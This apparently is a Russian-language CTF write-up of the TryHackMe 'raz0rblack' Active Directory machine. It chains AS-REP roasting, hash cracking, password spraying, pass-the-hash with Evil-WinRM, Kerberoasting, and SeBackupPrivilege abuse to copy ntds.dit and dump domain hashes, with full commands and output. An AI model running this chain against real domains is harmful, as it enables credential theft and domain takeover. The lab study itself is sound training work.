

Active Directory: raz0rblack by THM writeup

 habr.com/ru/articles/764924

October 2, 2023

Приветствую, вас, уважаемые кулхацкеры. Данный райт будет посвящен прохождению машины **raz0rblack** на **TryHackMe**



Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.

Шаг 0: Сканим Nmap-ом

Традиционно начинаем со сканирования сети с помощью **Nmap**

`nmap -sC -sV -T4 10.10.215.15` объяснить с

-sC -> опция, запускающая сканирование на основе скриптов;

-sV -> определяет версии служб, запущенных на открытых портах;

-T4 -> время сканирования.

```
Nmap scan report for ip-10-10-215-15.eu-west-1.compute.internal (10.10.215.15)
Host is up (0.00042s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2023-09-21 12:38:40Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn      Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3389/tcp   open  ms-wbt-server    Microsoft Terminal Services
|_ ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm
|_ Not valid before: 2023-09-20T12:38:29
|_ Not valid after: 2024-03-21T12:38:29
|_ ssl-date: 2023-09-21T12:38:47+00:00; 0s from scanner time.
|_ rdp-ntlm-info:
|   Target_Name: RAZ0RBLACK
|   NetBIOS_Domain_Name: RAZ0RBLACK
|   NetBIOS_Computer_Name: HAVEN-DC
|   DNS_Domain_Name: raz0rblack.thm
|   DNS_Computer_Name: HAVEN-DC.raz0rblack.thm
|   Product_Version: 10.0.17763
|_ System_Time: 2023-09-21T12:38:41+00:00
MAC Address: 02:A1:66:D4:3C:77 (Unknown)
Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|   date: 2023-09-21T12:38:41
|_ start_date: N/A
|_ nbstat: NetBIOS name: HAVEN-DC, NetBIOS user: <unknown>, NetBIOS MAC: 02a166d43c77 (unknown)
|_ smb2-security-mode:
|   311:
|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/subm
it/.
Nmap done: 1 IP address (1 host up) scanned in 15.79 seconds
```

Хм, вроде ничего примечательного. Попробуем проеунуть NFS.

Сетевая файловая система (NFS) - это распределенная файловая система, которая обеспечивает пользователям доступ к файлам, расположенным на удаленных компьютерах, и позволяет работать с этими файлами точно так же, как и с локальными.

`nmap -sV --script=nfs* 10.10.215.15 -p 1110` объяснить с

```

PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
nfs-ls: Volume /users
access: Read Lookup NoModify NoExtend NoDelete NoExecute
PERMISSION UID      GID      SIZE  TIME      FILENAME
rwx----- 4294967294 4294967294 64    2021-02-27T17:24:37 .
?????????? ?      ?      ?     ?         ..
rwx----- 4294967294 4294967294 9861  2021-02-25T16:24:06 employee_status.xlsx
rwx----- 4294967294 4294967294 80    2021-02-25T19:31:46 sbradley.txt

nfs-showmount:
_ /users
nfs-statfs:
Filesystem 1K-blocks  Used      Available Use% Maxfilesize Maxlink
_ /users    20407292.0 16637852.0 3769440.0 82% 16.0T      1023

rpcinfo:
program version  port/proto  service
100000  2,3,4      111/tcp    rpcbind
100000  2,3,4      111/tcp6   rpcbind
100000  2,3,4      111/udp    rpcbind
100000  2,3,4      111/udp6   rpcbind
100003  2,3        2049/udp   nfs
100003  2,3        2049/udp6  nfs
100003  2,3,4      2049/tcp   nfs
100003  2,3,4      2049/tcp6  nfs
100005  1,2,3      2049/tcp   mountd
100005  1,2,3      2049/tcp6  mountd
100005  1,2,3      2049/udp   mountd
100005  1,2,3      2049/udp6  mountd
100021  1,2,3,4    2049/tcp   nlockmgr
100021  1,2,3,4    2049/tcp6  nlockmgr
100021  1,2,3,4    2049/udp   nlockmgr
100021  1,2,3,4    2049/udp6  nlockmgr
100024  1          2049/tcp   status
100024  1          2049/tcp6  status
100024  1          2049/udp   status
100024  1          2049/udp6  status

```

Результат работы скрипта Nmap

Шаг 1: Используем showmount

Также мы можем найти NFS при помощи утилиты **showmount**

`showmount -e 10.10.215.15`объяснить с

```

(root@kali)-[~/Downloads]
# /usr/sbin/showmount -e 10.10.215.15
Export list for 10.10.215.15:
/users (everyone)

```

Результат запроса showmount

Шаг 2: Монтируем /users

Создадим точку монтирования и смонтируем папку **/users**

`mount -t nfs 10.10.215.15:/users ./creds`объяснить с

```
(root@kali)-[~/Downloads]
# mount -t nfs 10.10.215.15:/users ./creds
```

Посмотрев ее содержимое, мы увидим два файла

```
(root@kali)-[~/Downloads/creds]
# ls
employee_status.xlsx  sbradley.txt

(root@kali)-[~/Downloads/creds]
# cat sbradley.txt
♦♦THM{ab53e05c9a98def00314a14ccbfa8104}
```

В txt будем лежать наш флаг, а вот в xlsx будет список пользователей

```
daven port
imogen royce
tamara vidal
arthur edwards
carl ingram
nolan cassidy
reza zaydan
ljudmila vetrova
rico delgado
tyson williams
steven bradley
chamber lin
```

Шаг 3: AS-REP Roasting

Имея список пользователей можно составить словарь для проведения AS-REP Roasting. Обычно, создавая пользователей в домене указывают первую букву имени, а за ним идет фамилия. Зная это, составим userlist, чтобы провести перебор пользователей без предварительной аутентификации.

```
dport
iroyce
tvidal
aedwards
cingram
ncassidy
rzaydan
lvetrova
rdelgado
twilliams
sbradley
clin
```

Для этого воспользуемся модулем **GetNPUsers** из утилиты **Impacket**

```
GetNPUsers raz0rblack.thm/ -userfile /root/users.txt -dc-ip 10.10.215.15
```

```
(root@kali)-[~/impacket/examples]
# ./GetNPUsers.py raz0rblack.thm/ -usersfile /root/users.txt -dc-ip 10.10.215.15
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User lvetrova doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$twilliams@RAZORBLACK.THM:44195b0b4fafb6208197eaaac7ad580d$7f82fe7fa2e48a9487d1032afed40bd5eb5aced8b317f6852fc9048d35
5db477cf9c254f0e69fc464cfd0d5716625bfd2a7faaf144b1e7ce185c4abe2c2471b779d13975e5ff115020ef9ca20a730e98bd2ff1a792f26e82aea76fbcf443
999f37858ecbda5720ac1ac4b7a0840637a48aab1bf13a9301e39fa806110588c79b0ce60f2dfeda1b4bdec9c9dd3fa2d8c0c69b244efc6d01cf91c7bdce333a3c
9b951f4fafc05fbfd9b6b56a22797fb229fbab42d9bec6b2f1c3a3cc1bc181e45055bef84610d36eef894a889a576c092c95981969de2acf32b723952ed09a64d0
0b35db4a94563c9a93f2776feb571fb7
[-] User sbradley doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

Результатом работы утилиты будет перехваченный AS-REP запрос пользователя *twilliams*.

Шаг 4: Брутфорсим с помощью JohnTheRipper

Перехватив запрос, мы можем запустить локальный перебор для получения пароля в открытом виде. Воспользуемся утилитой **JohnTheRipper**

```
john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

```
(root@kali)-[~/impacket/examples]
# /usr/sbin/john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
roastpotatoes ($krb5asrep$23$twilliams@RAZORBLACK.THM)
1g 0:00:00:17 DONE (2023-09-21 13:23) 0.05595g/s 236259p/s 236259c/s 236259c/s rob3560..roastedfish
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Шаг 5: Используем CrackMapExec

Зная данные учетной записи, запустим crackmapexec для перечисления пользователей путем брутфорса RID

```
crackmapexec smb 10.10.215.15 -u twilliams -p roastpotatoes --rid-brute
```



```

└─$ crackmapexec smb 10.10.215.15 -u twilliams -p roastpotatoes --rid-brute
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.10.215.15 445 HAVEN-DC [*] Windows 10.0 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB 10.10.215.15 445 HAVEN-DC [+] raz0rblack.thm\twilliams:roastpotatoes
SMB 10.10.215.15 445 HAVEN-DC [+] Brute forcing RIDs
SMB 10.10.215.15 445 HAVEN-DC 498: RAZORBLACK\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 500: RAZORBLACK\Administrator (SidTypeUser)
SMB 10.10.215.15 445 HAVEN-DC 501: RAZORBLACK\Guest (SidTypeUser)
SMB 10.10.215.15 445 HAVEN-DC 502: RAZORBLACK\krbtgt (SidTypeUser)
SMB 10.10.215.15 445 HAVEN-DC 512: RAZORBLACK\Domain Admins (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 513: RAZORBLACK\Domain Users (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 514: RAZORBLACK\Domain Guests (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 515: RAZORBLACK\Domain Computers (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 516: RAZORBLACK\Domain Controllers (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 517: RAZORBLACK\Cert Publishers (SidTypeAlias)
SMB 10.10.215.15 445 HAVEN-DC 518: RAZORBLACK\Schema Admins (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 519: RAZORBLACK\Enterprise Admins (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 520: RAZORBLACK\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 521: RAZORBLACK\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 522: RAZORBLACK\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 525: RAZORBLACK\Protected Users (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 526: RAZORBLACK\Key Admins (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 527: RAZORBLACK\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 553: RAZORBLACK\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.215.15 445 HAVEN-DC 571: RAZORBLACK\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.215.15 445 HAVEN-DC 572: RAZORBLACK\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.215.15 445 HAVEN-DC 1000: RAZORBLACK\HAVEN-DC$ (SidTypeUser)
SMB 10.10.215.15 445 HAVEN-DC 1101: RAZORBLACK\DnsAdmins (SidTypeAlias)
SMB 10.10.215.15 445 HAVEN-DC 1102: RAZORBLACK\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.215.15 445 HAVEN-DC 1106: RAZORBLACK\xyan1d3 (SidTypeUser)
SMB 10.10.215.15 445 HAVEN-DC 1107: RAZORBLACK\lvetrova (SidTypeUser)
SMB 10.10.215.15 445 HAVEN-DC 1108: RAZORBLACK\sbradley (SidTypeUser)

```

В результате работы получим новых валидных пользователей для проведения дальнейшей атаки: **xyan1d3**, **lvetrova**, **sbradley**.

Вновь используем **crackmapexec** для спреинга пароля для указанных пользователей

```

(root@kali)~/impacket/examples
└─$ crackmapexec smb 10.10.215.15 -u /root/users.txt -p roastpotatoes
SMB 10.10.215.15 445 HAVEN-DC [*] Windows 10.0 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB 10.10.215.15 445 HAVEN-DC [-] raz0rblack.thm\xyan1d3:roastpotatoes STATUS_LOGON_FAILURE
SMB 10.10.215.15 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:roastpotatoes STATUS_LOGON_FAILURE
SMB 10.10.215.15 445 HAVEN-DC [-] raz0rblack.thm\sbradley:roastpotatoes STATUS_PASSWORD_MUST_CHANGE

```

Шаг 6: Используем smbpasswd для смены пароля

Как видно, у пользователя **sbradley** стоит статус **STATUS_PASSWORD_MUST_CHANGE**. Для смены пароля воспользуемся утилитой **smbpasswd**

```
smbpasswd -r 10.10.215.15 -U sbradley
```

-r -> опция для указания адреса удаленной машины;

-U -> опция для указания пользователя.

```

(root@kali)~/impacket/examples
└─$ smbpasswd -r 10.10.215.15 -U sbradley
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user sbradley on 10.10.215.15.

```

Шаг 7: Вперед smbmap

Далее воспользуемся утилитой **SMBMap**.

SMBMap позволяет пользователям перечислять диски общего доступа samba по всему домену. Программа составляет список совместных дисков, прав доступа на диск, общее содержимое, имеет функциональность загрузки/загрузки, автоматическую загрузку файлов, имя которых совпадает с образцом и даже возможность удалённого выполнения команд. Этот инструмент был создан для тестирования на проникновение и предназначен для упрощения поиска потенциально чувствительных данных в крупных сетях.

```
smbmap -H 10.10.215.15 -u sbradley -p password
```

```
(root@kali)-[~/impacket/examples]
# smbmap -H 10.10.215.15 -u sbradley -p password
[+] IP: 10.10.215.15:445      Name: razorblack

Disk                               Permissions      Comment
-----
ADMIN$                             NO ACCESS       Remote Admin
C$ 10.10.120.145 HAVEN-DC (-) windows 10.0 Build NO ACCESS       Default share
IPC$ 10.10.120.145 HAVEN-DC (-) razorblack.thm (-) READ ONLY       Remote IPC
NETLOGON 120.145 HAVEN-DC (-) razorblack.thm (-) READ ONLY       Logon server share
SYSVOL 10.120.145 HAVEN-DC (-) razorblack.thm (-) READ ONLY       Logon server share
trash                                READ ONLY       Files Pending for deletion
```

В результате увидим список доступных share. Скорее всего нам будет интересна /trash.

Шаг 8: Подключаемся через smbclient

Для просмотра потенциально интересных файлов подключимся через smb с помощью **smbclient**

```
smbclient //10.10.215.15/trash --user='sbradley%password'
```

```
(root@kali)-[~/impacket/examples]
# smbclient //10.10.215.15/trash --user='sbradley%password'
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0 Tue Mar 16 06:01:28 2021
..               D           0 Tue Mar 16 06:01:28 2021
chat_log_20210222143423.txt A       1340 Thu Feb 25 19:29:05 2021
experiment_gone_wrong.zip A 18927164 Tue Mar 16 06:02:20 2021
sbradley.txt      A         37 Sat Feb 27 19:24:21 2021

5101823 blocks of size 4096. 984949 blocks available
smb: \> mget *
Get file chat_log_20210222143423.txt? y
getting file \chat_log_20210222143423.txt of size 1340 as chat_log_20210222143423.txt (12.2 KiloBytes/sec) (average 12.2 KiloBytes/sec)
Get file experiment_gone_wrong.zip? y
getting file \experiment_gone_wrong.zip of size 18927164 as experiment_gone_wrong.zip (26292.4 KiloBytes/sec) (average 22820.8 KiloBytes/sec)
Get file sbradley.txt? y
getting file \sbradley.txt of size 37 as sbradley.txt (0.6 KiloBytes/sec) (average 21271.5 KiloBytes/sec)
smb: \> exit
```

Скачаем доступные файлы. В их числе будет архив, защищенный паролем.

Шаг 9: Юзаем zip2john

Для взлома пароля арихва воспользуемся утилитами **Zip2John** и **JohnTheRipper**

```
zip2john experiment_gone_wrong.zip > zip_hash.txt
```

```
john --rules --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
```

```
(root@kali)-[~/impacket/examples]
# /usr/sbin/zip2john experiment_gone_wrong.zip > zip_hash.txt
ver 2.0 efh 5455 efh 7875 experiment_gone_wrong.zip/system.hive PKZIP Encr: TS_chk, cmplen=2941739, decmplen=16281600, crc=BDCCA7
2 ts=591C cs=591c type=8
ver 2.0 efh 5455 efh 7875 experiment_gone_wrong.zip/ntds.dit PKZIP Encr: TS_chk, cmplen=15985077, decmplen=58720256, crc=68037E87
ts=5873 cs=5873 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

(root@kali)-[~/impacket/examples]
# /usr/sbin/john --rules --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
electromagnetismo (experiment_gone_wrong.zip)
1g 0:00:00:01 DONE (2023-09-21 13:40) 0.5649g/s 4734Kp/s 4734Kc/s 4734Kc/s eled2649..elboty2009
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
(root@kali)-[~/impacket/examples]
# unzip experiment_gone_wrong.zip
Archive: experiment_gone_wrong.zip
[experiment_gone_wrong.zip] system.hive password:
  inflating: system.hive
  inflating: ntds.dit
```

Получив пароль в открытом виде, распакуем архив в котором содержится **system.hive** и **ntds.dit**.

Шаг 10: Достаем секреты с файлов

Чтобы локально извлечь секреты пользователей воспользуемся модулем **secretsdump** из утилиты **Impacket**

`impacket-secretsdump --system system.hive -ntds ntds.dit LOCAL > dump.txt` Объяснить

```
(root@kali)-[~/Desktop]
# impacket-secretsdump --system system.hive -ntds ntds.dit LOCAL > dump.txt

(root@kali)-[~/Desktop]
# impacket-secretsdump --system system.hive -ntds ntds.dit LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x17a0a12951d502bb3c14cf1d495a71ad
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 84bf0a79cd645db4f94b24c35cdf7c7
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1afedc472d0fdfe07cd075d36804efd0 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
HAVEN-DC\1000:aad3b435b51404eeaad3b435b51404ee:4ea59b8f64c94ec66ddcf4e6e5899f9 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:703a365974d7c3eeb80e11dd27fb0cb3 :::
RAZORBLACK\j.smith:4549:aad3b435b51404eeaad3b435b51404ee:da3542420eff7cfab8305a68b7da7043 :::
RAZORBLACK\j.johnson:4550:aad3b435b51404eeaad3b435b51404ee:c378739d7c136c1281d06183665702ea :::
RAZORBLACK\r.williams:4551:aad3b435b51404eeaad3b435b51404ee:9f73aaafc3b6d62acd0b0b426f302f9e :::
RAZORBLACK\m.jones:4552:aad3b435b51404eeaad3b435b51404ee:6a5bad944868142e65ad3049a393e587 :::
RAZORBLACK\w.brown:4553:aad3b435b51404eeaad3b435b51404ee:b112332330f11267486d21549d326bd5 :::
RAZORBLACK\d.davis:4554:aad3b435b51404eeaad3b435b51404ee:f9b8c9864aa7bc53405ed45b48ef19ef :::
RAZORBLACK\r.miller:4555:aad3b435b51404eeaad3b435b51404ee:efe1e7cd1799ef6dff3c85b36239ef17 :::
RAZORBLACK\c.wilson:4556:aad3b435b51404eeaad3b435b51404ee:4104dd2ede9c241eb18bda7470310d91 :::
RAZORBLACK\j.moore:4557:aad3b435b51404eeaad3b435b51404ee:d1d85bdc244f5d7185bcff43eea3ab53 :::
RAZORBLACK\t.taylor:4558:aad3b435b51404eeaad3b435b51404ee:361e1f12cb92caf151fc925eaa1b50f4 :::
RAZORBLACK\c.anderson:4559:aad3b435b51404eeaad3b435b51404ee:0d57dffbf71b62d021ea80c85b2e4ad3 :::
```

Для отделения хешей из файла воспользуемся следующей командой

```
(root@kali)-[~/Desktop]
# cat dump.txt | cut -d ":" -f 4 > hashes.txt
```


Шаг 11: CrackMapExес для подбора подходящего хеша

Для подбора хеша для пользователя *lvetrova* снова воспользуемся утилитой **crackmapexес**

```
crackmapexес smb 10.10.215.15 -u lvetrova -H hashes.txt
```

```
HAVEN-DC      [-] RAZORBLACK\lvetrova 42263cad4fc3f45816c340e684e2592a STATUS_LOGON_FAILURE
HAVEN-DC      [-] RAZORBLACK\lvetrova 7b8b14a73d8a45249de2f5b0c225d515 STATUS_LOGON_FAILURE
HAVEN-DC      [-] RAZORBLACK\lvetrova 081af9630677a387f6f0a9bb17852602 STATUS_LOGON_FAILURE
HAVEN-DC      [-] RAZORBLACK\lvetrova c184a72ed800899bc1ff633778a89b5e STATUS_LOGON_FAILURE
HAVEN-DC      [+] RAZORBLACK\lvetrova f220d3988deb3f516c73f40ee16c431d
```

Шаг 12: Evil-WinRM

Для удаленного подключения будем использовать **Evil-WinRM**

```
evil-winrm -i 10.10.15.215 -u lvetrova -H f220d3988deb3f516c73f40ee16c431d
```

Посмотрев содержимое папки пользователя, увидим файл *lvetrova.xml*

```
Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\lvetrova\Documents> whoami
razorblack\lvetrova
*Evil-WinRM* PS C:\Users\lvetrova\Documents> cd ..
*Evil-WinRM* PS C:\Users\lvetrova> $Credential = Import-Clixml -Path ".\lvetrova.xml"
*Evil-WinRM* PS C:\Users\lvetrova> $Credential.GetNetworkCredential().password
THM{694362e877adef0d85a92e6d17551fe4}
*Evil-WinRM* PS C:\Users\lvetrova>
```

В PowerShell есть метод хранения зашифрованных учетных данных, доступ к которым может получить только сохранившая их учетная запись пользователя. Приведенный выше код запрашивает учетные данные, а затем сохраняет их в зашифрованном виде в XML-файле. В результате получим флаг пользователя *lvetrova*.

Шаг 13: Проводим kerberoasting

Далее, зная имя пользователя и хеш его пароля, проведем атаку **Kerberoasting**, воспользуясь **GetUserSPNs**, запросив TGS

```
GetUserSPNs -dc-ip 10.10.215.15 razorblack.thm\lvetrova -hashes
f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -
outputfile kerb.txt
```

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon
...	...	...	...	...
HAVEN-DC/xvan1d3.raz0rblack.thm:60111	xvan1d3	CN=Remote Management Users,CN=Builtin,DC=raz0rblack,DC=thm	2021-02-23 15:17:17.715160	<never>

Также, перехватив TGS, воспользуемся **john** для локального перебора паролей

```
john --rules --wordlist=/usr/share/wordlists/rockyou.txt kerb.txt
```

```
(root@kali)~[~/Desktop]
# /usr/sbin/john --rules --wordlist=/usr/share/wordlists/rockyou.txt kerb.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cyanide9amine5628 (?)
1g 0:00:00:11 DONE (2023-09-21 15:29) 0.09057g/s 803246p/s 803246C/s cybaster..cy2802341
Use the "--show" option to display all of the cracked passwords reliably
```

Шаг 14: Evil-WinRM с данными хуан1d3

```
evil-winrm -i 10.10.215.15 -u xuan1d3 -p cyanide9amine56280бъяснить с
```

```
whoami /all0бъяснить с
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

У пользователя есть привилегия **SeBackupPrivilege**. Она была разработана с целью создания пользователями резервных копий. Эта привилегия должна обходить все ACL, установленные администратором в сети. Итак, в двух словах, данная привилегия позволяет пользователю читать любой файл на всей файловой системе, которая может также включать некоторые конфиденциальные файлы, такие как файл SAM или файл реестра SYSTEM. С точки зрения злоумышленника, эта привилегия может быть использована после того, как он закрепится в системе, а затем перейдет в повышенную оболочку, читая файлы SAM и, возможно, взламывая пароли пользователей с высокими привилегиями в системе или сети.

Для осуществления эскалации привилегий нам понадобится утилита **diskshadow.exe**, скрипт и две DLL: **SeBackupPrivilegeUtils.dll** и **SeBackupPrivilegeCmdLets.dll**.

Также создадим следующий скрипт для осуществления теневого копирования и назовем его **diskshadow.txt**:

```
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```

set verbose onX -> будет выводить подробную информацию о выполнении;

set metadata -> задает местоположение файла метаданных для создания теневых копий;

set context persistentX -> устанавливает постоянную теньевую копию, которая сохранится после команды выхода Diskshadow и переживет перезагрузку компьютера;

begin backupX -> начинает процесс теневого копирования;

add volume C: alias cdriveX -> Псевдоним дает имя теньевому идентификатору;

createX -> создает виртуальный диск моментального снимка на сервере DataCore Server и обслуживает виртуальный диск на том же компьютере;

expose %cdrive% E:X -> Раскрывает теньевой идентификатор операционной системе и присваивает указанному диску букву X:

end backupX -> завершает процесс теневого копирования.

Загрузим скрипт через команду:

```
upload diskshadow.txt
```

Также загрузим 2 DLL, которые можно скачать отсюда:

```
wget
https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLet
s/bin/Debug/SeBackupPrivilegeUtils.dll
```

```
wget
https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLet
s/bin/Debug/SeBackupPrivilegeCmdLets.dll
```

и также загрузим их через команду **upload**. После загрузки для работы DLL пропишем следующее

```
import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeCmdLets.dll
```

Сделав все процедуры запускаем наш скрипт через утилиту **diskshadow.exe**

`diskshadow.exe /s C:\tmp\diskshadow.txt`Объяснить с

/s-> указывает местоположение скрипта

```
*Evil-WinRM* PS C:\tmp> diskshadow.exe /s C:\tmp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: HAVEN-DC, 9/28/2023 6:25:39 AM

-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create
Excluding writer "Shadow Copy Optimization Writer", because all of its components have been excluded.
Component "\BCD\BCD" from writer "ASR Writer" is excluded from backup,
because it requires volume which is not in the shadow copy set.
The writer "ASR Writer" is now entirely excluded from the backup because the top-level
non selectable component "\BCD\BCD" is excluded.

* Including writer "Task Scheduler Writer":
  + Adding component: \TasksStore

* Including writer "VSS Metadata Store Writer":
  + Adding component: \WriterMetadataStore

* Including writer "Performance Counters Writer":
  + Adding component: \PerformanceCounters

* Including writer "System Writer":
  + Adding component: \System Files
  + Adding component: \Win32 Services Files

* Including writer "WMI Writer":
  + Adding component: \WMI

* Including writer "COM+ REGDB Writer":
  + Adding component: \COM+ REGDB

* Including writer "DFS Replication service writer":
  + Adding component: \SYSVOL\4A91E2D9-6757-45E3-B659-C4E32B355870-C0785736-890D-4D00-A597-2DE003D9FCDA

* Including writer "Registry Writer":
  + Adding component: \Registry

* Including writer "NTDS":
  + Adding component: \C:\Windows_NTDS\ntds
```

После успешного создания теневой копии воспользуемся утилитой **robocopy**

`robocopy /b E:\windows\ntds . ntds.dit`Объяснить с

/b -> копирует файлы в режиме резервного копирования, что позволяет Robocopy переопределять параметры разрешений для файлов и папок (ACL). Это позволяет копировать файлы, к которым вы могли бы не иметь доступа, при условии, что они выполняются под учетной записью с достаточными привилегиями


```
Evil-WinRM* PS C:\tmp> robocopy /b E:\windows\ntds . ntds.dit

ROBOCOPY :: Tools Robust File Copy for Windows Kali NetHunter

Started : Thursday, September 28, 2023 6:28:46 AM
Source : E:\windows\ntds\
Dest : C:\tmp\

Files : ntds.dit

Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

1.1% New File 1 E:\windows\ntds\
1.5% 16.0 m ntds.dit
1.9%
2.3%
2.7%
3.1%
```

После этого копируем куст реестра *SYSTEM* через команду `reg save` и выкачиваем наши файлы

```
reg save HKLM\SYSTEM C:\tmp\systemОбъяснить с
```

```
*Evil-WinRM* PS C:\tmp> reg save HKLM\SYSTEM C:\tmp\system
The operation completed successfully.

*Evil-WinRM* PS C:\tmp> download ntds.dit
Info: Downloading ntds.dit to ./ntds.dit

Info: Download successful!

*Evil-WinRM* PS C:\tmp> download system
Info: Downloading system to ./system
```

Шаг 15: Снова достаем креды

После скачивания файлов *ntds.dit* и *system* произведем локальный дамп секретов из этих файлов с помощью **secretsdump**

```
impacket-secretsdump -system system -ntds ntds.dit LOCALОбъяснить с
```

```

Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c :::
